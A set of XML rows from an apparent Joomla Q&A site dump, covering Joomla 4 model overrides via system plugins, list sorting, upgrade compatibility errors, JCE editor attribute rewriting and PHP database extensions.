  <row Id="32099" PostTypeId="2" ParentId="31922" CreationDate="2022-04-20T07:23:10.257" Score="2" Body="&lt;p&gt;In J4 it is possible to override models and the rest of MVC classes. To do that, you need a system plugin to register a custom MVC factory during &lt;code&gt;onAfterExtensionBoot&lt;/code&gt; or &lt;code&gt;onBeforeExtensionBoot&lt;/code&gt; event.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\MVC\Factory\MVCFactory;&#xA;use Joomla\CMS\MVC\Factory\MVCFactoryInterface;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Component\Content\Administrator\Model\ArticlesModel;&#xA;use Joomla\DI\Container;&#xA;use Joomla\Event\EventInterface;&#xA;&#xA;final class PlgSystemOverride extends CMSPlugin&#xA;{&#xA;    public function onAfterExtensionBoot(EventInterface $event)&#xA;    {&#xA;        // Test that a component is being booted.&#xA;        if ($event-&amp;gt;getArgument('type') !== ComponentInterface::class)&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Test that this is com_content component.&#xA;        if ($event-&amp;gt;getArgument('extensionName') !== 'content')&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Get the service container.&#xA;        $container = $event-&amp;gt;getArgument('container');&#xA;&#xA;        if (!($container instanceof Container))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Check that MVC factory is used and can be overridden.&#xA;        if (!$container-&amp;gt;has(MVCFactoryInterface::class) || $container-&amp;gt;isProtected(MVCFactoryInterface::class))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Register the custom MVC factory. Here an anonymous class is used but you can use a concrete class.&#xA;        $container-&amp;gt;set(&#xA;            MVCFactoryInterface::class,&#xA;            static fn () =&amp;gt; new class ('Joomla\\Component\\Content') extends MVCFactory&#xA;            {&#xA;                protected function getClassName(string $suffix, string $prefix)&#xA;                {&#xA;                    $class = parent::getClassName($suffix, $prefix);&#xA;&#xA;                    // Override the backend article list model with a custom class.&#xA;                    if ($class === ArticlesModel::class)&#xA;                    {&#xA;                        return 'MyCustomArticlesModel';&#xA;                    }&#xA;&#xA;                    return $class;&#xA;                }&#xA;            }&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in your custom class extend the original class and add the overridden &lt;code&gt;populateState()&lt;/code&gt; method. Additionally, depending on class name, you might need to declare &lt;code&gt;$context&lt;/code&gt; and &lt;code&gt;$filterFormName&lt;/code&gt; properties. This is because they're derived from class name when not set explicitly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Component\Content\Administrator\Model\ArticlesModel;&#xA;&#xA;class MyCustomArticlesModel extends ArticlesModel&#xA;{&#xA;    protected $context = 'com_content.articles';&#xA;    protected $filterFormName = 'filter_articles';&#xA;&#xA;    protected function populateState($ordering = 'a.modified', $direction = 'DESC')&#xA;    {&#xA;        parent::populateState($ordering, $direction);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Alternatively to all of this, you can also change the default ordering by setting the appropriate session key, also using a system plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;final class PlgSystemOverride extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onAfterRoute()&#xA;    {&#xA;        // Only run for logged in users in com_content backend.&#xA;        if (!$this-&amp;gt;app-&amp;gt;isClient('administrator') || $this-&amp;gt;app-&amp;gt;getInput()-&amp;gt;get('option') !== 'com_content' || $this-&amp;gt;app-&amp;gt;getIdentity()-&amp;gt;guest)&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        // Session key to use.&#xA;        $key = 'com_content.articles.list.fullordering';&#xA;&#xA;        // Set it only if it hasn't been set yet.&#xA;        if (!$this-&amp;gt;app-&amp;gt;getUserState($key))&#xA;        {&#xA;            $this-&amp;gt;app-&amp;gt;setUserState($key, 'a.modified DESC');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-09-11T06:39:24.987" LastActivityDate="2023-09-11T06:39:24.987" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32100" PostTypeId="2" ParentId="32098" CreationDate="2022-04-20T09:49:10.273" Score="1" Body="&lt;p&gt;There are some backward compatibility issues in Joomla 4 when using Joomla 3 code: &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Furthermore are you sure that the 404 errors are caused by the URL structure?&lt;/p&gt;&#xA;&lt;p&gt;I suspect that there is other code in your component that triggers the error. &lt;strong&gt;With a good IDE&lt;/strong&gt; (like the commercial PHPStorm, or Visual Studio or Netbeans) &lt;strong&gt;in combination with Xdebug&lt;/strong&gt; you can step through the code and see all variables and their values in each step. That way you can analyze where/why the Joomla 3 component is not working.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-04-20T09:49:10.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32101" PostTypeId="1" CreationDate="2022-04-20T12:16:38.763" Score="0" ViewCount="75" Body="&lt;p&gt;I'm having some problems with a custom module that I'm making to display some basic &amp;quot;logged in&amp;quot; user information.&lt;/p&gt;&#xA;&lt;p&gt;I'm working on a template with &amp;quot;SP Page Builder&amp;quot; CMS.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;My module:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;table style=&amp;quot;width: 100%; border-top: 0px solid #bb141b !important;&amp;quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td style=&amp;quot;border: none !important;&amp;quot; width=&amp;quot;84px&amp;quot;&amp;gt;&#xA;            &amp;lt;img src=&amp;quot;/images/2022/01/16/star-of-life-variant-colors-08.png&amp;quot; alt=&amp;quot;nord-als-logo&amp;quot; width=&amp;quot;70px&amp;quot;&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td style=&amp;quot;border: none !important;&amp;quot; width=&amp;quot;*&amp;quot;&amp;gt;&#xA;            &amp;lt;strong&amp;gt;&amp;lt;?php echo $user-&amp;gt;name; ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;small&amp;gt;...&amp;lt;/small&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would like to replace the &amp;quot;...&amp;quot; with the field value named &lt;code&gt;jform_profile_Stilling&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I would also like to fetch the profile picture -- I found this label &lt;code&gt;jform_params_profilepic&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16269" LastEditorUserId="12352" LastEditDate="2022-04-20T14:03:07.470" LastActivityDate="2024-02-11T00:08:36.053" Title="Fetching custom user field values in custom module" Tags="|custom-field|jform|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32102" PostTypeId="2" ParentId="32101" CreationDate="2022-04-20T16:22:44.787" Score="0" Body="&lt;p&gt;What kind of &amp;quot;custom module&amp;quot; are you trying to develop?&lt;/p&gt;&#xA;&lt;h3&gt;Joomla's default Module of type &amp;quot;custom&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;An existing Module of module type &amp;quot;custom&amp;quot; to display custom HTML in your site. See &lt;a href=&quot;https://docs.joomla.org/How_do_you_create_a_custom_module%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_do_you_create_a_custom_module%3F&lt;/a&gt;&#xA;Such a custom module does not know anything about Joomla / users outside its module scope.&lt;/p&gt;&#xA;&lt;h3&gt;Programming your own Module&lt;/h3&gt;&#xA;&lt;p&gt;A Joomla module developed from scratch and install-able via the Joomla extensions installer. See &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In such a module you can do some database queries to get the information you want and display it on the screen. &amp;quot;SP Page Builder&amp;quot; is a commercial extension. I do not know how it exactly stores its information in the database.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-04-20T16:22:44.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32103" PostTypeId="2" ParentId="32098" CreationDate="2022-04-21T00:38:27.417" Score="1" Body="&lt;p&gt;The answer is that somewhere in the processing, an href with a relative pathname is handled differently between Joomla 3 and Joomla 4. In Joomla 3, the base site URL is prepended. In Joomla 4, a menu item is prepended (probably the current menu item), which causes it to fail in some cases.&#xA;In the case I described, the URL was a relative pathname generated within javascript.&#xA;There are several solutions possible. One is to write a router to handle it. A quicker solution is to generate a full pathname including a correct menu item. The Joomla Uri::base method will get the base site URL. Factory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;route will give you the menu item subpath.&lt;/p&gt;&#xA;" OwnerUserId="7887" LastEditorUserId="7887" LastEditDate="2022-04-24T14:30:31.903" LastActivityDate="2022-04-24T14:30:31.903" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32104" PostTypeId="1" CreationDate="2022-04-21T11:35:11.543" Score="0" ViewCount="302" Body="&lt;p&gt;In a custom J4 site I am using the Shack Locations (previously Focalpoint) core extension that displays a dynamically generated legend of location types on the front end, but it is listing the nine types randomly. I carefully created the location types in the order in which I wanted them to appear. I also used Joomla's ordering facility to no avail. So, I created an override which brings in the location type IDs as a class for each li item (by default there is no 'li' class), so on the front-end the html now shows this (although each also has an 'a' link, but that's not relevant here):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&amp;quot;28&amp;quot;&amp;gt;No meeting&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;22&amp;quot;&amp;gt;Tuesday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;23&amp;quot;&amp;gt;Tuesday evening&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;25&amp;quot;&amp;gt;Wednesday evening&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;27&amp;quot;&amp;gt;Thursday evening&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;20&amp;quot;&amp;gt;Monday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;24&amp;quot;&amp;gt;Wednesday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;26&amp;quot;&amp;gt;Thursday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;21&amp;quot;&amp;gt;Monday evening&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For what I hope are obvious reasons, I want the list to display like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&amp;quot;20&amp;quot;&amp;gt;Monday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;21&amp;quot;&amp;gt;Monday evening&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;22&amp;quot;&amp;gt;Tuesday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;23&amp;quot;&amp;gt;Tuesday evening&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;24&amp;quot;&amp;gt;Wednesday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;25&amp;quot;&amp;gt;Wednesday evening&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;26&amp;quot;&amp;gt;Thursday afternoon&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;27&amp;quot;&amp;gt;Thursday evening&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&amp;quot;28&amp;quot;&amp;gt;No meeting&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The PHP for this element is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die();&#xA;&#xA;$markers = $this-&amp;gt;chunkLegends($this-&amp;gt;item-&amp;gt;markerdata);&#xA;&#xA;$html       = [];&#xA;$subtitle   = '';&#xA;$lastLegend = null;&#xA;foreach ($markers as $legend) {&#xA;    if ($lastLegend &amp;amp;&amp;amp; $lastLegend != $legend-&amp;gt;alias) {&#xA;        $html[] = '&amp;lt;/ul&amp;gt;';&#xA;        $html[] = '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    $subtitle = $legend-&amp;gt;subtitle ? sprintf('&amp;lt;small&amp;gt;%s&amp;lt;/small&amp;gt;', $legend-&amp;gt;subtitle) : '';&#xA;&#xA;    $html[] = sprintf(&#xA;        '&amp;lt;div class=&amp;quot;%s&amp;quot;&amp;gt;&amp;lt;h4&amp;gt;%s%s&amp;lt;/h4&amp;gt;',&#xA;        $legend-&amp;gt;alias,&#xA;        $legend-&amp;gt;title,&#xA;        $subtitle&#xA;    );&#xA;&#xA;    $html[] = '&amp;lt;ul class=&amp;quot;sidebar&amp;quot;&amp;gt;';&#xA;    foreach ($legend-&amp;gt;markers as $marker) {&#xA;        $html[] = sprintf(&#xA;            '&amp;lt;li class=&amp;quot;%s&amp;quot;&amp;gt;&amp;lt;a data-marker-type=&amp;quot;%s&amp;quot; class=&amp;quot;active markertoggles markers-%s&amp;quot; href=&amp;quot;#&amp;quot;&amp;gt;%s&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;',&#xA;            $marker-&amp;gt;locationtype_id, &#xA;            $marker-&amp;gt;locationtype_id,          &#xA;            $marker-&amp;gt;locationtypealias,&#xA;            $marker-&amp;gt;locationtype&#xA;        );&#xA;    }&#xA;    $html[] = '&amp;lt;/ul&amp;gt;';&#xA;    $html[] = '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;$html[] = $this-&amp;gt;loadTemplate('legend_buttons');&#xA;&#xA;echo join(&amp;quot;\n&amp;quot;, $html);&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can I sort the &lt;code&gt;li&lt;/code&gt; items by their class, either by adding something to the PHP file, or writing vanilla JavaScript? No jQuery, please. TIA.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="13040" LastEditDate="2022-04-22T08:44:18.537" LastActivityDate="2024-01-14T01:04:45.497" Title="How can I sort an unordered list alphabetically by class with JavaScript or PHP?" Tags="|php|javascript|joomla-4.x|sorting|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32105" PostTypeId="1" CreationDate="2022-04-21T12:56:34.797" Score="1" ViewCount="3842" Body="&lt;p&gt;I am using a Joomla! 3.10.8 Stack from Turnkey Linux, it shows a warning, that I have to upgrade to a higher PHP-version. So how I update/upgrade the higher PHP-version? And is it clever to upgrade to PHP 8 already?&lt;/p&gt;&#xA;&lt;p&gt;TYVM for answers!&lt;/p&gt;&#xA;" OwnerUserId="16240" LastActivityDate="2022-04-21T15:04:06.430" Title="Update Joomla! 3.10.8 to PHP 7.4 or PHP 8.0" Tags="|joomla-3.x|php|update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32106" PostTypeId="2" ParentId="32105" CreationDate="2022-04-21T15:04:06.430" Score="3" Body="&lt;p&gt;I believe you need to make sure all your extensions and components are upgraded to php8, then you can change it in your cpanel under MultiPHP Manager. I was able to simply switch it over. I get an error but clearing the browser cache sorts this. You also need to ensure your server has PHP8 installed along with the necessary extensions, I am on a dedicated server so I am able to do this myself. If not, get your hosting provider to do it.&lt;/p&gt;&#xA;&lt;p&gt;I had a bit of trial and error to start with but got there (and it is well worth it).&lt;/p&gt;&#xA;" OwnerUserId="16275" LastActivityDate="2022-04-21T15:04:06.430" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32107" PostTypeId="1" CreationDate="2022-04-21T15:20:11.333" Score="1" ViewCount="550" Body="&lt;p&gt;I have just upgraded from Joomla 3.10.8 to the latest version of Joomla 4 (it is 100% better). However some of my scripts that have run for years now no longer work. The scripts basically import files that arrive via FTP. I have a cron job that worked up until the upgrade which is this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/wget -O /dev/null &amp;quot;https://mysite.com/run/myscript.php&amp;quot; &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I run the script in the browser with error reporting switched on here is the result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;in /home/mysite/public_html/libraries/src/Factory.php (line 138)&#xA;*/ public static function getApplication()&#xA;   {&#xA;       if (!self::$application)&#xA;       {&#xA;           throw new \Exception('Failed to start application', 500);&#xA;       }&#xA;       return self::$application;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And also this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getApplication('site') in /home/mysite/public_html/blm/script_blm.php (line 24)&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;require_once(JPATH_ROOT.DS.&amp;quot;components&amp;quot;.DS.&amp;quot;com_osproperty&amp;quot;.DS.&amp;quot;helpers&amp;quot;.DS.&amp;quot;helper.php&amp;quot;);&#xA;require_once JPATH_BASE.DS.'administrator'.DS.'components'.DS.'com_osproperty'.DS.'classes'.DS.'xml.php';&#xA;require_once(JPATH_BASE.DS.&amp;quot;administrator&amp;quot;.DS.&amp;quot;components&amp;quot;.DS.&amp;quot;com_osproperty&amp;quot;.DS.&amp;quot;classes&amp;quot;.DS.&amp;quot;property.php&amp;quot;);&#xA;require_once(JPATH_BASE.DS.&amp;quot;administrator&amp;quot;.DS.&amp;quot;components&amp;quot;.DS.&amp;quot;com_osproperty&amp;quot;.DS.&amp;quot;helpers&amp;quot;.DS.&amp;quot;images.php&amp;quot;);&#xA;JFactory::getApplication('site');&#xA;ini_set('max_execution_time', 100);&#xA;ini_set('display_errors',1);&#xA;error_reporting(E_ALL);&#xA;define('AMDEBUG',0);&#xA;define('IMGPATH',0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in the Stack trace it says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Exception:&#xA;Failed to start application&#xA;&#xA;  at /home/mysite/public_html/libraries/src/Factory.php:138&#xA;  at Joomla\CMS\Factory::getApplication('site')&#xA;     (/home/mysite/public_html/run/myscript.php:24)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Would anyone know why it would suddenly stop working and what these errors actually mean?&lt;/p&gt;&#xA;" OwnerUserId="16275" LastEditorUserId="12352" LastEditDate="2022-04-22T03:50:04.433" LastActivityDate="2024-01-12T11:03:35.417" Title="Updated to Joomla 4 and custom PHP scripts no longer run" Tags="|php|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32108" PostTypeId="2" ParentId="32107" CreationDate="2022-04-22T07:36:03.027" Score="0" Body="&lt;p&gt;Your code looks from the Joomla 2.5 era and is outdated. The &lt;strong&gt;DS&lt;/strong&gt; constant is not used since Joomla 3:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The DS constant has been removed. If you really need it you can use DIRECTORY_SEPARATOR instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For information about backward compatibility issues, see the Joomla documentation site:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I recommend to rewrite your CLI script using a Joomla 4 example. Or use a Joomla 3 example that you adapt to Joomla 4, like: &lt;a href=&quot;https://gist.github.com/renekreijveld/8823105&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/renekreijveld/8823105&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-04-22T07:36:03.027" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32109" PostTypeId="1" CreationDate="2022-04-22T09:58:59.700" Score="2" ViewCount="127" Body="&lt;p&gt;I am encountering an error with Joomla 4 that has never occurred to me in previous installations. When I try to create/edit an article, a category or to index contents in smart search, I get the following error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The table does not comply with the requirements by an external plugin&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I discovered what seems to be the cause: the tables &amp;quot;finder_tokens&amp;quot; and &amp;quot;finder_tokens_aggregate&amp;quot; which are of type MEMORY. When I edit them in innoDB the problem is momentarily solved. But after inserting a new article (for example) these tables are reset to MEMORY and the problem returns.&lt;/p&gt;&#xA;&lt;p&gt;So changing the engine is certainly not the solution to the problem. Do you have any ideas on how I could solve the problem or what could be the cause? I have never had this kind of problem (on other machines) with previous Joomla installations.&lt;/p&gt;&#xA;" OwnerUserId="16086" LastActivityDate="2024-01-06T12:03:55.533" Title="Joomla MEMORY tables cause an error in creating/editing articles" Tags="|database|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32110" PostTypeId="2" ParentId="32104" CreationDate="2022-04-22T14:45:43.907" Score="0" Body="&lt;p&gt;I solved it with some vanilla JavaScript. I'd still like to know how it could be done in PHP as the JavaScript runs after page load and on a slow page load the resort might be visible to the naked eye.&lt;/p&gt;&#xA;&lt;p&gt;Here is the script (using the li Ids - not shown above - rather than class):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;window.onload = function() {&#xA;    if (document.getElementById(&amp;quot;meetings&amp;quot;)) {&#xA;    let&#xA;        list = document.querySelector('.sidebar'),&#xA;        results = document.querySelectorAll('.sort');&#xA;    let sliced = Array.prototype.slice.call(results, 0);&#xA;        sliced.sort(sortByElementText('a.markertoggles'));&#xA;        list.innerHTML = '';&#xA;        sliced.reduce(function(list, item) {&#xA;            list.appendChild(item);&#xA;            return list;&#xA;        },&#xA;        list);&#xA;        function sortByElementText(selector) {&#xA;            return function(a, b) {&#xA;            b.id;&#xA;            a.id;    &#xA;            return a.id &amp;gt; b.id;&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And hands up, I got the original idea from an answer (entitled 'A native js way.') on this post on &lt;a href=&quot;https://stackoverflow.com/questions/34722898/sorting-a-dynamically-generated-list-by-value-of-one-of-its-elements&quot;&gt;Stackoverflow&lt;/a&gt; by @synthe1c&lt;/p&gt;&#xA;&lt;p&gt;UPDATE: I have since discovered that although this works perfectly in Firefox, it doesn't in Chrome, Edge, Android.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="13040" LastEditDate="2022-04-23T11:52:50.987" LastActivityDate="2022-04-23T11:52:50.987" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32111" PostTypeId="1" CreationDate="2022-04-23T09:27:14.163" Score="1" ViewCount="102" Body="&lt;p&gt;I have been successfully using a homemade article including a form and some javascript for a while now on Joomla 3 which also uses the Regularlabs Sourcerer plugin.&lt;/p&gt;&#xA;&lt;p&gt;Turns out that I recently migrated this article to Joomla 4.1.1 (so far) as part of my website upgrade attempt and the script breaks.&lt;/p&gt;&#xA;&lt;p&gt;Looking into what was saved, I figured that the select &amp;quot;onChange&amp;quot; element was transformed into &amp;quot;on-change&amp;quot;!&lt;/p&gt;&#xA;&lt;p&gt;I then tried with a basic minimum code indicated below (nothing fancy) and here's what came out after save:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&amp;quot;optone&amp;quot; size=&amp;quot;1&amp;quot; id=&amp;quot;optone&amp;quot; on-Change=&amp;quot;javascript:setOptions(this.value)&amp;quot;&amp;gt;&#xA;&amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Choose a type&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Sports&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;Educational&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have tried to see if this could come from the editor I use, switching from JCE to TinyMCE, with no luck.&lt;/p&gt;&#xA;&lt;p&gt;Could this be looking like a Joomla 4 &amp;quot;uncommented feature&amp;quot;?&lt;/p&gt;&#xA;" OwnerUserId="16171" LastEditorUserId="12352" LastEditDate="2022-04-23T21:09:27.480" LastActivityDate="2022-04-26T10:35:51.330" Title="select onChange changed to on-change after saving Joomla 4.1 form" Tags="|joomla-4.x|select|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32112" PostTypeId="2" ParentId="32111" CreationDate="2022-04-23T16:07:36.953" Score="1" Body="&lt;p&gt;Well, in fact, I found the issue.&#xA;It is related to some settings of the editor. I will contact the developer.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;[EDIT]&#xA;Developer contact is unavailable if you don't have a paid subscription etc.&lt;/p&gt;&#xA;&lt;p&gt;Anyway, what happens is that the Joomla 4 version of the editor (JCE) settings include a sort of HTML 4/5/Mixed validation switch.&lt;/p&gt;&#xA;&lt;p&gt;By default, this validation is activated and this is what causes &lt;code&gt;onChange&lt;/code&gt; to be changed to &lt;code&gt;on-change&lt;/code&gt; which, obviously, prevents the script from working as expected.&lt;/p&gt;&#xA;&lt;p&gt;If you deactivate the switch, the behavior goes back to normal.&lt;/p&gt;&#xA;&lt;p&gt;Since I could not touch base with the developer, I could not raise a flag and/or get information about why this change happened.&lt;/p&gt;&#xA;" OwnerUserId="16171" LastEditorUserId="12352" LastEditDate="2022-04-26T10:35:51.330" LastActivityDate="2022-04-26T10:35:51.330" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32113" PostTypeId="2" ParentId="32104" CreationDate="2022-04-23T21:05:08.830" Score="0" Body="&lt;p&gt;Use &lt;code&gt;usort()&lt;/code&gt; to sort &lt;code&gt;$legend-&amp;gt;markers&lt;/code&gt; array:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;usort(&#xA;    $legend-&amp;gt;markers,&#xA;    static fn ($a, $b) =&amp;gt; $a-&amp;gt;locationtype_id &amp;lt;=&amp;gt; $b-&amp;gt;locationtype_id&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-04-23T21:05:08.830" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32114" PostTypeId="1" CreationDate="2022-04-24T23:58:25.250" Score="4" ViewCount="5910" Body="&lt;p&gt;I'm considering upgrading from PHP7.4 to PHP8.0 on a Joomla 3.10.8 installation. I was surprised to find that my hosting provider only offers &lt;em&gt;mysqlnd&lt;/em&gt; as a PHP extension in PHP 8.0, but not &lt;em&gt;mysqli&lt;/em&gt;. This presumably means changing $dbtype in &lt;em&gt;configuration.php&lt;/em&gt; in Joomla. Is there any difference between using &lt;em&gt;mysqlnd&lt;/em&gt; and &lt;em&gt;mysqli&lt;/em&gt; that would impact Joomla?&lt;/p&gt;&#xA;&lt;p&gt;Is the &lt;em&gt;mysqli&lt;/em&gt; extension considered obsolete?&lt;/p&gt;&#xA;&lt;p&gt;I've looked elsewhere but can't find much information on this topic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Postscript:&lt;/strong&gt;&#xA;After testing the PHP extensions available, it appears that Joomla will not allow $dbtype to be changed. The solution appears to be to select &lt;em&gt;nd_mysqli&lt;/em&gt; extension (as well as &lt;em&gt;mysqlnd&lt;/em&gt;) in the PHP8.0 extension list. In &lt;em&gt;configuration.php&lt;/em&gt; $dbtype stays as &lt;em&gt;mysqli&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12642" LastEditorUserId="12352" LastEditDate="2022-04-25T06:38:01.557" LastActivityDate="2022-04-25T08:30:22.857" Title="What is the difference between mysqli and mysqlnd php extensions?" Tags="|php|database|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
